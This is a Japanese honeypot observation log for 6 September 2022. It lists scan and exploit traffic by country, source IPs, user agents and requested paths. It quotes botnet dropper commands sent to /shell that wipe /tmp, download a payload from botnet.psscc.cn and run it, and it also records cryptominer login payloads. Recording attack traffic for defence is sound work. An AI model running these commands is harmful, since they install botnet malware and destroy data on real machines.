2022/09/06 ハニーポット(仮) 観測記録

ハニーポット(仮) 観測記録 2022/09/06分です。

特徴

共通

D-link製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
zgrabによるスキャン行為
/.envへのスキャン行為
Apache Tomcatへのスキャン行為

Location:JP

クラウド環境のメタデータ情報を狙うアクセス
aiohttpによるスキャン行為
okhttpによるスキャン行為
.cssへのスキャン行為
.jsへのスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 0.0.0.0/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget botnet.psscc.cn/jaws;
sh /tmp/jaws

Location:US

Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
curlによるスキャン行為
.cssへのスキャン行為
/.gitへのスキャン行為
phpMyAdminへのスキャン行為
5.188.210.227に関する不正通信
Gh0stRATのような動き
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 0.0.0.0/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget botnet.psscc.cn/jaws;
sh /tmp/jaws

Location:UK

NetGear製品の脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
phpMyAdminへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget botnet.psscc.cn/jaws;
sh /tmp/jaws

Location:SG

NetGear製品の脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
Gh0stRATのような動き
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 0.0.0.0/jaws;
sh /tmp/jaws

他

アクセス数推移

JP：総アクセス数：600 (前日比：500)
US：総アクセス数：72 (前日比：-26)
UK：総アクセス数：90 (前日比：-15)
SG：総アクセス数：60 (前日比：-7)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
4	1.116.6.211	China
1	2.57.122.209	Romania
1	3.21.34.17	United States
1	20.219.93.79	United States
1	20.226.128.69	United States
494	23.91.97.54	United States
4	27.124.32.171	Singapore
4	43.142.191.53	China
4	43.143.49.112	China
2	45.95.55.245	Germany
1	52.147.61.47	United States
1	64.225.14.203	United States
1	92.255.85.177	Hong Kong
8	94.102.49.193	United Kingdom
16	95.214.235.205	Ukraine
4	101.33.206.231	China
4	101.35.224.108	China
1	107.170.204.35	United States
1	107.175.3.35	United States
3	118.126.82.157	China
4	124.220.169.112	China
5	135.125.246.110	France
8	135.125.246.189	France
1	141.98.6.162	Bulgaria
1	156.218.49.96	Egypt
1	167.94.138.45	United States
1	167.248.133.60	United States
1	181.214.206.161	United States
1	184.105.247.227	United States
10	185.213.175.12	Spain
1	185.216.71.182	Bulgaria
3	185.216.71.242	Bulgaria
1	185.220.101.161	Germany
1	185.220.101.164	Germany
1	192.241.219.148	United States
1	198.199.113.220	United States
1	201.150.177.160	Bolivia
1	202.169.44.5	Indonesia
1	205.210.31.19	United States

UserAgent一覧

件数	UserAgent
39	-
8	Go-http-client/1.1
4	Hello, world
3	Mozila/5.0
483	Mozilla/5.0 (Linux; Android 8.1; EML-L29 Build/HUAWEIEML-L29; xx-xx) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/65.0.3325.109 Mobile Safari/537.36 (iPad; iPhone; CPU iPhone OS 13_2_3 like Mac OS X)
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
3	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
4	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
4	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
3	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
1	Mozilla/5.0 (Windows NT 6.2; rv:22.0) Gecko/20130405 Firefox/22.0
2	Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9) Gecko/2008052906 Firefox/3.0
30	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
1	Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; ; NCLIENT50_AAPCDA5841E333)
2	Mozilla/5.0 zgrab/0.x
1	Python/3.7 aiohttp/3.7.4.post0
6	okhttp/3.3.1
1	python-requests/2.21.0
2	xx032_bo9vs83_2a

リクエスト内容一覧

件数	Method	Request	Protocol
1		\x03
1		\x16\x03\x01\x02
2		\x16\x03\x01
1		{\"id\":1,\"jsonrpc\":\"2.0\",\"method\":\"login\",\"params\":{\"login\":\"41v6rLF6RKs5qoWnALmKEjQzqrFLJyk8LdtmURXEFLt9Bhe4sQ34CcZEa97GyPTMvrPMbgLpC4vojC8PRsdXrw3BELL78eu\",\"pass\":\"x\",\"agent\":\"XMRig/6.15.3	(Windows NT 10.0; Win64; x64) libuv/1.42.0 msvc/2019\",\"algo\":[\"cn/1\",\"cn/2\",\"cn/r\",\"cn/fast\",\"cn/half\",\"cn/xao\",\"cn/rto\",\"cn/rwz\",\"cn/zls\",\"cn/double\",\"cn/ccx\",\"cn-lite/1\",\"cn-heavy/0\",\"cn-heavy/tube\",\"cn-heavy/xhv\",\"cn-pico\",\"cn-pico/tlo\",\"cn/upx2\",\"rx/0\",\"rx/wow\",\"rx/arq\",\"rx/graft\",\"rx/sfx\",\"rx/keva\",\"argon2/chukwa\",\"argon2/chukwav2\",\"argon2/ninja\",\"astrobwt\"]}}\n
1		{\"id\":1,\"method\":\"eth_submitLogin\",\"worker\":\"eth1.0\",\"params\":[\"0xb999801f1193851b277ccece52b751315362e351\",\"x\"],\"jsonrpc\":\"2.0\"}\n
1		{\"id\":	1, \"method\": \"mining.subscribe\", \"params\": [\"MinerName/1.0.0\", \"EthereumStratum/1.0.0\"]}\n
1		{\"id\":	1, \"method\": \"mining.subscribe\", \"params\": [\"cpuminer/2.5.1\"]}\n
2	CONNECT	google[.]com:443	HTTP/1.1
30	GET	/.env	HTTP/1.1
1	GET	/.well-known/security.txt	HTTP/1.1
1	GET	/1-200611214053U8.jpg	HTTP/1.1
1	GET	/202110/images/public.css	HTTP/1.1
1	GET	/6/	HTTP/1.1
1	GET	/Application/Buy/Static/js/if.js	HTTP/1.1
1	GET	/Buy/Index/getCardListByType?typeid=344	HTTP/1.1
1	GET	/Content/Wap/base.css	HTTP/1.1
1	GET	/Content/common/web/CommonActivity.css	HTTP/1.1
1	GET	/Content/css/wzwstylel.css	HTTP/1.1
1	GET	/Content/favicon.ico	HTTP/1.1
1	GET	/Content/m_1/js/m_1_Jquery.js	HTTP/1.1
1	GET	/Css/Hm.css	HTTP/1.1
1	GET	/Hander/emploer_Handler.ashx?Action=Edit_off_on_line	HTTP/1.1
1	GET	/Home/Bind/binding	HTTP/1.1
1	GET	/Home/Get/getJnd28	HTTP/1.1
1	GET	/Home/GetAllGameCategory	HTTP/1.1
1	GET	/Home/GetInitSource	HTTP/1.1
1	GET	/Home/Index/ajaxTJ	HTTP/1.1
1	GET	/JS/loginstatus.js	HTTP/1.1
1	GET	/PSBC-1	HTTP/1.1
1	GET	/Pay_Index.html	HTTP/1.1
1	GET	/Pc/Lang/index.html	HTTP/1.1
1	GET	/Promotions/list.mvc	HTTP/1.1
1	GET	/Public/Home/ecshe_css/main.css?v=1543997196	HTTP/1.1
1	GET	/Public/Home/js/cls.js	HTTP/1.1
1	GET	/Public/Home/js/common.js	HTTP/1.1
1	GET	/Public/Mobile/ecshe_css/wapmain.css?v=1545408652	HTTP/1.1
1	GET	/Public/Wchat/css/index.css	HTTP/1.1
1	GET	/Public/Wchat/js/cvphp.js	HTTP/1.1
1	GET	/Public/css/_pk10.css	HTTP/1.1
1	GET	/Public/css/errorCss.css	HTTP/1.1
1	GET	/Public/css/hall.css	HTTP/1.1
1	GET	/Public/home/common/js/index.js	HTTP/1.1
1	GET	/Public/home/js/check.js	HTTP/1.1
1	GET	/Public/home/js/fukuang.js	HTTP/1.1
1	GET	/Public/home/wap/css/qdgame.css	HTTP/1.1
1	GET	/Public/initJs.php	HTTP/1.1
1	GET	/Public/js/common.js	HTTP/1.1
1	GET	/Public/uploads/web/step1.png	HTTP/1.1
1	GET	/Recruit/download_url	HTTP/1.1
1	GET	/Res/font/font.css	HTTP/1.1
1	GET	/Scripts/common.js	HTTP/1.1
1	GET	/SiteLoader	HTTP/1.1
1	GET	/T9sA/static/image/t-06.jpg	HTTP/1.1
1	GET	/Template/Mobile/js/main.js	HTTP/1.1
1	GET	/Templates/user/finance/css/userPay.css	HTTP/1.1
1	GET	/Templates/user/js/global.js	HTTP/1.1
1	GET	/WuEL	HTTP/1.1
1	GET	/_profiler/phpinfo	HTTP/1.1
1	GET	/a/other/codepay/js/codepay_util.js	HTTP/1.1
1	GET	/a	HTTP/1.1
1	GET	/admin/	HTTP/1.1
1	GET	/admin/webadmin.php?mod=do&act=login	HTTP/1.1
1	GET	/admin	HTTP/1.1
1	GET	/ajax/allcoin_a/id/0?t=0.3782499195965951	HTTP/1.1
1	GET	/ajax?act=getrlist&rid=1	HTTP/1.1
1	GET	/anquan/qgga.asp	HTTP/1.1
1	GET	/api/ApiHub/fetchJinse	HTTP/1.1
1	GET	/api/Game/getAppConfig	HTTP/1.1
1	GET	/api/Index/getLangCfg	HTTP/1.1
1	GET	/api/Index/getLottery	HTTP/1.1
1	GET	/api/Index/getconfig	HTTP/1.1
1	GET	/api/apps/config	HTTP/1.1
1	GET	/api/apps	HTTP/1.1
1	GET	/api/client/home_project_list	HTTP/1.1
1	GET	/api/config-init	HTTP/1.1
1	GET	/api/config/info	HTTP/1.1
1	GET	/api/config/proxy_servers?key=1	HTTP/1.1
1	GET	/api/config	HTTP/1.1
1	GET	/api/contactWay	HTTP/1.1
1	GET	/api/content_bottom	HTTP/1.1
1	GET	/api/currency/quotation_new	HTTP/1.1
1	GET	/api/customerServiceLink	HTTP/1.1
1	GET	/api/default/login-page	HTTP/1.1
1	GET	/api/exclude/siteConfig/webSiteConfig	HTTP/1.1
1	GET	/api/getUserCertificationStatus	HTTP/1.1
1	GET	/api/getconfig.aspx	HTTP/1.1
1	GET	/api/grame/getHomePtLottery	HTTP/1.1
1	GET	/api/help_documents/nitice_list	HTTP/1.1
1	GET	/api/hevent	HTTP/1.1
1	GET	/api/ht/xy1	HTTP/1.1
1	GET	/api/im/v2/app/config	HTTP/1.1
1	GET	/api/im/v2/app/t	HTTP/1.1
1	GET	/api/index/config	HTTP/1.1
1	GET	/api/index/grailindex	HTTP/1.1
1	GET	/api/index/index	HTTP/1.1
1	GET	/api/index/setting	HTTP/1.1
1	GET	/api/index/webconfig	HTTP/1.1
1	GET	/api/index	HTTP/1.1
1	GET	/api/linkPF	HTTP/1.1
1	GET	/api/lottery/color	HTTP/1.1
1	GET	/api/message/webInfo	HTTP/1.1
1	GET	/api/mobile/checkStrategyHistory	HTTP/1.1
1	GET	/api/notice	HTTP/1.1
1	GET	/api/pc/cms-config	HTTP/1.1
1	GET	/api/pc/configure	HTTP/1.1
1	GET	/api/product/info/1	HTTP/1.1
1	GET	/api/product/topRank?token=null&uid=null&lang=null&direct=1&type=1	HTTP/1.1
1	GET	/api/public/?service=Home.getConfig	HTTP/1.1
1	GET	/api/shares/hqStrList	HTTP/1.1
1	GET	/api/site/getInfo.do	HTTP/1.1
1	GET	/api/stock/getSingleStock.do?code=002405	HTTP/1.1
1	GET	/api/uploads/apimap	HTTP/1.1
1	GET	/api/user/dataDictionaryService/list	HTTP/1.1
1	GET	/api/user/ismustmobile	HTTP/1.1
1	GET	/api/v/index/queryOfficePage?officeCode=customHomeLink	HTTP/1.1
1	GET	/api/v1/about	HTTP/1.1
1	GET	/api/v1/member/kefu	HTTP/1.1
1	GET	/api/v2/config/index	HTTP/1.1
1	GET	/api/v8.common/speed	HTTP/1.1
1	GET	/api/vue/transaction/config	HTTP/1.1
1	GET	/api/web/user/getIndexData.php	HTTP/1.1
1	GET	/apiApp/app/site/info	HTTP/1.1
1	GET	/apiapp/Ygn_Girl.CityList	HTTP/1.1
2	GET	/app/	HTTP/1.1
1	GET	/app/common/getRegisterSet	HTTP/1.1
1	GET	/app/config/getConfig	HTTP/1.1
1	GET	/app/js/base.js	HTTP/1.1
1	GET	/appxz/index.html	HTTP/1.1
1	GET	/assets/AssetManifest.json	HTTP/1.1
1	GET	/assets/GrayMobile/active_gameType_SportsBook.png	HTTP/1.1
1	GET	/assets/app-manifest.json	HTTP/1.1
1	GET	/assets/dist/static/js/vendor_prod.js	HTTP/1.1
1	GET	/assets/etc/query.css	HTTP/1.1
1	GET	/assets/extension/market/css/mt4.css	HTTP/1.1
1	GET	/assets/images/dy.jpg	HTTP/1.1
1	GET	/assets/images/mobile/dou_charge_money_icon.png	HTTP/1.1
1	GET	/assets/images/mobile/dou_icon_money.png	HTTP/1.1
1	GET	/assets/images/mobile/ic_launcher.png	HTTP/1.1
1	GET	/assets/images/redian.jpg	HTTP/1.1
1	GET	/assets/js/dmshub.js	HTTP/1.1
1	GET	/assets/mstock/newimg/guid-info.png	HTTP/1.1
1	GET	/assets/mstock/newimg/guid-title.png	HTTP/1.1
1	GET	/assets/res/mods/room.js	HTTP/1.1
1	GET	/assets/room/css/room_mobile.css	HTTP/1.1
1	GET	/assets/shebao/banner.png	HTTP/1.1
1	GET	/assets/source/list.css	HTTP/1.1
1	GET	/assets/yibao/Nweshebao/img/icon2.png	HTTP/1.1
1	GET	/banner.do?code=1	HTTP/1.1
1	GET	/base/exchange_article/index/classid/1/id/1	HTTP/1.1
1	GET	/base/exchange_index/changepwdfirst	HTTP/1.1
1	GET	/bet/lotteryinfo/allLotteryInfoList	HTTP/1.1
1	GET	/boaform/admin/formLogin?username=user&psd=user	HTTP/1.0
1	GET	/client/api/findConfigByKey?configKey=level_config	HTTP/1.1
1	GET	/client/api/findFreeTrade	HTTP/1.1
1	GET	/client/static/icon/hangqingicon.png	HTTP/1.1
1	GET	/code/js/config.js	HTTP/1.1
1	GET	/common.js	HTTP/1.1
1	GET	/common/member/js/user.util.js	HTTP/1.1
1	GET	/common/template/lottery/lecai/css/style.css	HTTP/1.1
1	GET	/config.js	HTTP/1.1
1	GET	/config/getuser?index=0	HTTP/1.1
1	GET	/config	HTTP/1.1
1	GET	/csjs/bankCheck.js	HTTP/1.1
1	GET	/css/all.css	HTTP/1.1
1	GET	/css/m.css	HTTP/1.1
1	GET	/css/main.css	HTTP/1.1
1	GET	/css/nsc/reset.css	HTTP/1.1
1	GET	/css/other.css	HTTP/1.1
1	GET	/css/scanner.css	HTTP/1.1
1	GET	/css/skin/ymPrompt.css	HTTP/1.1
1	GET	/css/style.css	HTTP/1.1
1	GET	/ctl/login.php	HTTP/1.1
1	GET	/data/json/config.json	HTTP/1.1
1	GET	/data/ticker_24hr	HTTP/1.1
1	GET	/detail1/js/add.js	HTTP/1.1
1	GET	/detail5/css/details.css	HTTP/1.1
1	GET	/detail6/image/sjrz.png	HTTP/1.1
1	GET	/detaila/images/h_v33_i.png	HTTP/1.1
1	GET	/detaila/images/header_v1b.css	HTTP/1.1
1	GET	/detaila/images/logo.png	HTTP/1.1
1	GET	/detaila/js/ntkfstat.js	HTTP/1.1
1	GET	/detaila/js/unified_service.js	HTTP/1.1
1	GET	/dist/images/mask/bg1.jpg	HTTP/1.1
1	GET	/dist/images/mask/guide/cn/step1.jpg	HTTP/1.1
1	GET	/download/file.ext	HTTP/1.1
1	GET	/entry/login	HTTP/1.1
10	GET	/favicon.ico	HTTP/1.1
1	GET	/fePublicInfo/	HTTP/1.1
1	GET	/files/pub_rem.js	HTTP/1.1
1	GET	/files/pub_reset.css	HTTP/1.1
1	GET	/friendGroup/list	HTTP/1.1
1	GET	/gaga/city.php	HTTP/1.1
1	GET	/getConfig/getArticle.do?code=19	HTTP/1.1
1	GET	/getConfig/getArticle.do?code=1	HTTP/1.1
1	GET	/getConfig/listPopFrame.do?code=1&position=index&_=1601489645097	HTTP/1.1
1	GET	/getConfig/listPopFrame.do?code=14&position=index&_=1601489645097	HTTP/1.1
1	GET	/getLocale	HTTP/1.1
1	GET	/h5.html	HTTP/1.1
3	GET	/h5/	HTTP/1.1
1	GET	/h5/static/cert/icon_yanzhengma.png	HTTP/1.1
1	GET	/h5/static/tabbar/txl.png	HTTP/1.1
2	GET	/h5	HTTP/1.1
1	GET	/hetong/yq?id=500	HTTP/1.1
1	GET	/hg556/js/main.js	HTTP/1.1
1	GET	/home/GetQrCodeInfo	HTTP/1.1
1	GET	/home/	HTTP/1.1
1	GET	/home/banner/getLogo	HTTP/1.1
1	GET	/home/help	HTTP/1.1
1	GET	/home/login.jpg	HTTP/1.1
1	GET	/home/login/login_index.html	HTTP/1.1
1	GET	/home/main/login	HTTP/1.1
2	GET	/homes/	HTTP/1.1
1	GET	/im/App/config	HTTP/1.1
1	GET	/im/	HTTP/1.1
1	GET	/im/h5/	HTTP/1.1
1	GET	/im/in/GetUuid	HTTP/1.1
1	GET	/images/12.png	HTTP/1.1
1	GET	/images/favicon.ico	HTTP/1.1
1	GET	/images/logo-default-400x46.png	HTTP/1.1
1	GET	/images/myjs.js	HTTP/1.1
1	GET	/images/no.jpg	HTTP/1.1
1	GET	/images/remen.png	HTTP/1.1
1	GET	/images/src_images_but_dianz_s.png	HTTP/1.1
1	GET	/images/tg/appStore/top.png	HTTP/1.1
1	GET	/img/close.png	HTTP/1.1
1	GET	/img/login.png	HTTP/1.1
1	GET	/img/phonetrackeronline.png	HTTP/1.1
1	GET	/img/subsidy/kh.png	HTTP/1.1
1	GET	/img/xxing.png	HTTP/1.1
1	GET	/img/zllqdk.png	HTTP/1.1
1	GET	/index.php/Home/Public/login.html	HTTP/1.1
1	GET	/index.php/Wap/Api/getBanner	HTTP/1.1
1	GET	/index.php/Wap/Api/getSystemNotice?id=1	HTTP/1.1
1	GET	/index.php/sign	HTTP/1.1
1	GET	/index.php?m=api&c=app&a=getPlatformConfig	HTTP/1.1
1	GET	/index/	HTTP/1.1
1	GET	/index/api/getconfig	HTTP/1.1
1	GET	/index/aurl	HTTP/1.1
1	GET	/index/gzid.js	HTTP/1.1
1	GET	/index/home/login.html	HTTP/1.1
1	GET	/index/images/tradeicon.png	HTTP/1.1
1	GET	/index/index/ajaxdata	HTTP/1.1
1	GET	/index/index/login.html	HTTP/1.1
1	GET	/index/login/index.html	HTTP/1.1
1	GET	/index/login/login	HTTP/1.1
1	GET	/index/login/reg.html	HTTP/1.1
1	GET	/index/login/register	HTTP/1.1
1	GET	/index/newapi/api	HTTP/1.1
1	GET	/index/open/login.html	HTTP/1.1
1	GET	/index/overt/regist/inviteid	HTTP/1.1
1	GET	/index/police/index.html?agent=1000	HTTP/1.1
1	GET	/index/psbc/signText	HTTP/1.1
1	GET	/index/user/get_server_info	HTTP/1.1
1	GET	/index/user/login.html	HTTP/1.1
1	GET	/index/webapi/service	HTTP/1.1
1	GET	/index/wodedingdan.png	HTTP/1.1
1	GET	/index_files/bankCheck.js	HTTP/1.1
1	GET	/index	HTTP/1.1
1	GET	/infe/rest/fig/advertise/common.json?mobile_open=1	HTTP/1.1
1	GET	/infe/rest/flash/getServerIP.json	HTTP/1.1
1	GET	/install.inc/vipsignInstall.css	HTTP/1.1
1	GET	/ipl/app/flash/publicbmw/ball/FigLeaf.js?site=member	HTTP/1.1
1	GET	/jiaoyimao/	HTTP/1.1
1	GET	/jiaoyimao/default.css	HTTP/1.1
1	GET	/js/a.script	HTTP/1.1
1	GET	/js/bankCheck.js	HTTP/1.1
1	GET	/js/base1.js	HTTP/1.1
1	GET	/js/basic.js	HTTP/1.1
1	GET	/js/bk.min.js	HTTP/1.1
1	GET	/js/common.js	HTTP/1.1
1	GET	/js/config.js	HTTP/1.1
1	GET	/js/home.js	HTTP/1.1
1	GET	/js/json.js	HTTP/1.1
1	GET	/js/main.js	HTTP/1.1
1	GET	/js/post.js/	HTTP/1.1
1	GET	/js/pups.js	HTTP/1.1
1	GET	/js/subsidy/bk.min.js	HTTP/1.1
1	GET	/js/tvConfig.js	HTTP/1.1
1	GET	/jym-wn/	HTTP/1.1
1	GET	/kefu.php	HTTP/1.1
1	GET	/kkrps/im_group/show_members	HTTP/1.1
1	GET	/langConfig.js	HTTP/1.1
1	GET	/lanren/css/global.css	HTTP/1.1
1	GET	/leftDao.php?callback=jQuery183016740860980352856_1604309800583	HTTP/1.1
1	GET	/legal/currency/set	HTTP/1.1
1	GET	/lib/public.js	HTTP/1.1
1	GET	/loan/css/index.css	HTTP/1.1
2	GET	/login.html	HTTP/1.1
1	GET	/login/img/nyyh/chkjs.js	HTTP/1.1
2	GET	/login	HTTP/1.1
1	GET	/logo.png	HTTP/1.1
1	GET	/lottery/lottery_list	HTTP/1.1
2	GET	/m/	HTTP/1.1
1	GET	/m/allticker/1	HTTP/1.1
1	GET	/m/env.js	HTTP/1.1
1	GET	/m/lotto-h5/manifest.json	HTTP/1.1
1	GET	/m/ticker/usdtqc	HTTP/1.1
1	GET	/mPlayer	HTTP/1.1
1	GET	/m	HTTP/1.1
1	GET	/main	HTTP/1.1
1	GET	/manager/html	HTTP/1.1
1	GET	/manager/js/left.js	HTTP/1.1
1	GET	/manager/text/list	HTTP/1.1
1	GET	/market/market-ws/iframe.html	HTTP/1.1
1	GET	/masterControl/getSystemSetting	HTTP/1.1
1	GET	/member/js/lang_zh_CN.js	HTTP/1.1
1	GET	/mg/other/codepay/js/codepay_util.js	HTTP/1.1
1	GET	/mindex.html	HTTP/1.1
1	GET	/mmj/index.html	HTTP/1.1
1	GET	/mobile/config.js	HTTP/1.1
1	GET	/mobile/css/base.css	HTTP/1.1
1	GET	/mobile/lists.html	HTTP/1.1
1	GET	/mobile/login.html	HTTP/1.1
1	GET	/mobile/v3/appSuperDownload.do	HTTP/1.1
1	GET	/mobile21/js/index/gameManagement.js?v=7	HTTP/1.1
1	GET	/mobile	HTTP/1.1
1	GET	/mstock	HTTP/1.1
1	GET	/mtja.html	HTTP/1.1
1	GET	/myConfig.js	HTTP/1.1
1	GET	/mytio/config/base	HTTP/1.1
1	GET	/n/news/banner?column_id=303	HTTP/1.1
1	GET	/newApp/winMessTopQuery.php	HTTP/1.1
1	GET	/nyyh/chkjs.js	HTTP/1.1
1	GET	/nyyh/game.css	HTTP/1.1
1	GET	/openApi/systemConfig/findSystemConfigById?id=3	HTTP/1.1
1	GET	/otc/	HTTP/1.1
1	GET	/other/codepay/js/codepay_util.js	HTTP/1.1
1	GET	/pages/console/js/common.js	HTTP/1.1
1	GET	/ph_acquireSession	HTTP/1.1
1	GET	/phalapi/public/?s=System.index	HTTP/1.1
1	GET	/phalapi/public/	HTTP/1.1
1	GET	/phone/images/icon_01.png	HTTP/1.1
1	GET	/portal/index/protocol.html	HTTP/1.1
1	GET	/projectConfig	HTTP/1.1
1	GET	/proxy/games	HTTP/1.1
1	GET	/proxy/settings	HTTP/1.1
1	GET	/public/css/style.css	HTTP/1.1
1	GET	/public/h5static/js/main.js	HTTP/1.1
1	GET	/public/img/cz1.png	HTTP/1.1
1	GET	/public/static/css/denglu.css	HTTP/1.1
1	GET	/public/static/css/public.css	HTTP/1.1
1	GET	/public/static/home/js/moblie/login.js	HTTP/1.1
1	GET	/public/static/index/picture/img_33.png	HTTP/1.1
1	GET	/public/wap/js/basis.js	HTTP/1.1
1	GET	/public/web/css/add//index[.]css	HTTP/1.1
1	GET	/reg.php	HTTP/1.1
1	GET	/register/trader/	HTTP/1.1
1	GET	/res/common/addfriend.png	HTTP/1.1
1	GET	/res/kuai/1.css	HTTP/1.1
1	GET	/res/kuai/21.css	HTTP/1.1
1	GET	/resource/home/css/person.css	HTTP/1.1
1	GET	/resource/home/js/common.js	HTTP/1.1
1	GET	/resources/css/headernav.css	HTTP/1.1
1	GET	/resources/main/common.js	HTTP/1.1
2	GET	/robots.txt	HTTP/1.1
1	GET	/room/getRoomBangFans	HTTP/1.1
1	GET	/room/script/face.js	HTTP/1.1
1	GET	/s_api/basic/config_js?callback=__set_config	HTTP/1.1
1	GET	/s_api/basic/download/info	HTTP/1.1
1	GET	/saconfig/secure/yunwei.js	HTTP/1.1
1	GET	/sdk.html	HTTP/1.1
1	GET	/service?action=getBasicInfo&terminal_id=2&token=&debug=true	HTTP/1.1
3	GET	/shell?cd+/tmp;rm+-rf+*;wget+0[.]0[.]0[.]0/jaws;sh+/tmp/jaws	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+botnet[.]psscc[.]cn/jaws;sh+/tmp/jaws	HTTP/1.1
1	GET	/site.js	HTTP/1.1
1	GET	/site/get-hq?proNo=btc&panType=1&pid=1	HTTP/1.1
1	GET	/site/info	HTTP/1.1
2	GET	/sitemap.xml	HTTP/1.1
1	GET	/skin/js/common.js	HTTP/1.1
1	GET	/skin/main/onload.js	HTTP/1.1
1	GET	/source/20220119/static/wap/css/trade-history.css	HTTP/1.1
1	GET	/source/20220119/static/wap/js/order.js	HTTP/1.1
1	GET	/standalone.html	HTTP/1.1
1	GET	/static/Mobile/js/common.js	HTTP/1.1
1	GET	/static/admincp/js/common.js	HTTP/1.1
1	GET	/static/common/icon/shimin.png	HTTP/1.1
1	GET	/static/common/icon/zhuanru.png	HTTP/1.1
1	GET	/static/common/js/common.js	HTTP/1.1
1	GET	/static/common/js/global.js	HTTP/1.1
1	GET	/static/common/js/vant/vant.min.js	HTTP/1.1
1	GET	/static/config.js	HTTP/1.1
1	GET	/static/content.html	HTTP/1.1
1	GET	/static/css/index.css	HTTP/1.1
1	GET	/static/css/mobile.css	HTTP/1.1
1	GET	/static/css/public.css	HTTP/1.1
1	GET	/static/css/reset.css	HTTP/1.1
1	GET	/static/customer/js/xiaotian.cli.v2.js	HTTP/1.1
1	GET	/static/data/configjs.js	HTTP/1.1
1	GET	/static/data/gamedatas.js	HTTP/1.1
1	GET	/static/data/thirdgames.json	HTTP/1.1
1	GET	/static/diff_worker.js	HTTP/1.1
1	GET	/static/download/style.css	HTTP/1.1
1	GET	/static/f_title.png	HTTP/1.1
1	GET	/static/guide/ab.css	HTTP/1.1
1	GET	/static/home/csjs/bankCheck.js	HTTP/1.1
1	GET	/static/home/css/common.css	HTTP/1.1
1	GET	/static/home/css/css.css	HTTP/1.1
1	GET	/static/home/css/feiqi-ee5401a8e6.css	HTTP/1.1
1	GET	/static/home/css/new_cfb.css	HTTP/1.1
1	GET	/static/home/imgs/jkjl.png	HTTP/1.1
1	GET	/static/home/imgs/pico.png	HTTP/1.1
1	GET	/static/home/js/rooms.js	HTTP/1.1
1	GET	/static/idcard3.png	HTTP/1.1
1	GET	/static/image/logo.png?v=4	HTTP/1.1
1	GET	/static/images/login_bg.jpg	HTTP/1.1
1	GET	/static/img/bitbeb-logo.png	HTTP/1.1
1	GET	/static/img/notices.png	HTTP/1.1
1	GET	/static/imgs/game/green2.png	HTTP/1.1
1	GET	/static/index/3.png	HTTP/1.1
1	GET	/static/index/css/iindex.css	HTTP/1.1
1	GET	/static/index/css/trade-history.css	HTTP/1.1
1	GET	/static/index/js/lk/order.js	HTTP/1.1
1	GET	/static/js/common.js	HTTP/1.1
1	GET	/static/js/config.js	HTTP/1.1
1	GET	/static/js/jump/go.js	HTTP/1.1
1	GET	/static/js/main.js	HTTP/1.1
1	GET	/static/js/user.js	HTTP/1.1
1	GET	/static/local/img/userCenter/hourlyPrivilege.svg	HTTP/1.1
1	GET	/static/m_text.png	HTTP/1.1
1	GET	/static/mobile/user.html	HTTP/1.1
1	GET	/static/tabBar/trade.png	HTTP/1.1
1	GET	/static/v/v2/image/star.png	HTTP/1.1
1	GET	/static/v2/css/index.css	HTTP/1.1
1	GET	/static/wap/css/common.css	HTTP/1.1
1	GET	/static/wap/css/index.css	HTTP/1.1
1	GET	/static/wap/css/tipmask.css	HTTP/1.1
1	GET	/static/wap/css/trade-history.css	HTTP/1.1
1	GET	/static/wap/js/common.js	HTTP/1.1
1	GET	/static/wap/js/order.js	HTTP/1.1
1	GET	/statics/js/API.js	HTTP/1.1
1	GET	/step1.asp	HTTP/1.1
1	GET	/stock/mzhishu	HTTP/1.1
1	GET	/stock/search.html?keyword=00202	HTTP/1.1
1	GET	/stock2c1/api/site/getInfo.do	HTTP/1.1
1	GET	/style.css	HTTP/1.1
1	GET	/sucai/zxkf.png	HTTP/1.1
1	GET	/t000/login-img-3.svg	HTTP/1.1
1	GET	/template/920ka/css/lsy.css	HTTP/1.1
1	GET	/template/920ka/js/woodyapp.js	HTTP/1.1
1	GET	/template/css/login.css	HTTP/1.1
1	GET	/template/js/comm/Confrim.js	HTTP/1.1
1	GET	/template/mb/lang/text-zh.json	HTTP/1.1
1	GET	/template/tmp1/js/common.js	HTTP/1.1
1	GET	/thriveGame.css	HTTP/1.1
